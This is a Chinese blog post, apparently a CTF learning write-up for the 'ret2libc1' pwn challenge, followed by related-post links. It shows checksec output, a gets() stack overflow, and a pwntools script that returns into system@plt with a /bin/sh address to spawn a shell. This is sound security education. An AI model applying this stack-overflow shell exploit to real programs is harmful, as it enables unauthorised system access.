pwn学习——ret2libc1

  • 1.看一下程序的保护
  • 2.看一下main函数有没有溢出
  • 3.ROPgadget
  • 4.exp

1.看一下程序的保护

➜  ret2libc1 checksec ret2libc1    Arch:     i386-32-littleRELRO:    Partial RELROStack:    No canary foundNX:       NX enabledPIE:      No PIE (0x8048000)

2.看一下main函数有没有溢出


gets函数不限制长度,可以溢出

3.ROPgadget

利用 ropgadget,我们可以查看是否有 /bin/sh 存在

再看一下system函数的地址

.plt:08048460 ; [00000006 BYTES: COLLAPSED FUNCTION _system. PRESS CTRL-NUMPAD+ TO EXPAND]

那么,我们直接返回该处,即执行 system 函数。相应的 payload 如下

4.exp

#!/usr/bin/env python
from pwn import *sh = process('./ret2libc1')binsh_addr = 0x8048720
system_plt = 0x08048460
payload = flat(['a' * 112, system_plt, 'b' * 4, binsh_addr])
sh.sendline(payload)sh.interactive()

flat函数是用来自动生成payload的函数
顺序是:[溢出长度 + 函数名称 + 函数返回地址 + 函数参数]
参考文献

pwn学习——ret2libc1相关推荐

  1. pwn学习总结(五) —— ret2dl_runtime_resolve(待补充)

    pwn学习总结(五) -- ret2_dl_runtime_resolve 一.程序示例 二.Section .dynamic .dynstr .dymsym .rel.plt 三.延迟绑定 _dl_ ...

  2. pwn学习总结(五) —— 堆溢出经典题型整理

    pwn学习总结(五) -- 堆溢出经典题型整理 fastbin + 栈溢出 fastbin + 函数构造 fastbin + 堆执行 fastbin + malloc_hook fastbin + 栈 ...

  3. pwn学习总结(四)—— 堆基础知识(持续更新)

    pwn学习总结(四)-- 堆基础知识(持续更新) 前言 chunk 使用中(分配后) 空闲中(释放后) 堆块大小 空间复用 bins fastbin unsorted bin small bin 前言 ...

  4. PWN学习总结(四)—— BROP

    pwn学习总结(三) -- BROP 描述 利用条件 攻击思路 例题 判断栈溢出长度 寻找 stop gadgets 寻找 brop gadgets 寻找 puts 函数的 plt 地址 寻找 put ...

  5. pwn学习总结(三) —— 栈溢出经典题型整理

    pwn学习总结(三) -- 栈溢出经典题型整理 ret2text ret2shellcode rop ret2libc 使用DynELF实现远程libc泄露 ret2syscall ret2libc ...

  6. pwn学习总结(二) —— 基础知识(持续更新)

    pwn学习总结(二) -- 基础知识(持续更新) Canary PLT表&GOT表 格式化字符串漏洞 GCC编译参数 ASLR 危险函数 输入流 syscall条件 shellcode 其它 ...

  7. pwn学习总结(一) —— 常用命令

    pwn学习总结(一) -- 常用命令 编译程序 文件信息 本地测试 远程调试 cyclic ROPgadget gdb pwntools 编译程序 GCC编译参数: -m32:编译为32位程序 -fs ...

  8. 【学习札记NO.00004】Linux Kernel Pwn学习笔记 I:一切开始之前

    [学习札记NO.00004]Linux Kernel Pwn学习笔记 I:一切开始之前 [GITHUB BLOG ADDR](https://arttnba3.cn/2021/02/21/NOTE-0 ...

  9. 【pwn学习】堆溢出(三)- Unlink和UAF

    前置学习 [pwn学习]堆溢出(一) [pwn学习]堆溢出(二)- First Fit 文章目录 什么是Unlink? Unlink如何利用? 加入错误检查 什么是Use-After-free? 例题 ...

最新文章

  1. vim上次和下次光标位置
  2. Python 文件写操作
  3. Java静态域与静态方法
  4. java hashSet
  5. CG Rendering v.s. Browser Rendering
  6. Redis----centOs7.4 __X64下配置和运行
  7. matlab生成pdf报告,MATLAB发布代码---生成文档pdf
  8. dnf丢失clientbase_clientbase.dll丢失
  9. UART write过程分析
  10. 谈阿里云云效 DevOps | DevOps 不再只是 Jenkins
  11. C语言实现连接MySQL服务器CURD
  12. 科研论文阅读与写作实战技巧
  13. 动人的牵线美的连接符-两张表的查询(一)
  14. win7计算机本地用户和组,Win7旗舰版找不到本地用户和组如何解决
  15. 互联网产品交互设计思路与方法
  16. Linux服务器硬件及RAID
  17. eclipse pull异常 Pulling 1 respository (The pull operation was canceled)
  18. 在IOS设备上调试(真机调试)
  19. AE 图层分解与动画循环
  20. mysql creat datebase_MySQL CREATE DATABASE

热门文章

  1. 有没有可以在手机上使用的钢琴键盘模拟器呢
  2. 昌泰纺织的“做事即是做人”激励机制
  3. 王海桑《爷爷是个老头》
  4. String,intern()有关的那点事儿
  5. POJ 2240 Arbitrage(最短路 套汇)
  6. 见缝插针 一个canvas小游戏
  7. UTM与传统防火墙有什么本质区别?
  8. 如何选择日本云服务器
  9. 考研线性代数知识导图
  10. android固件集成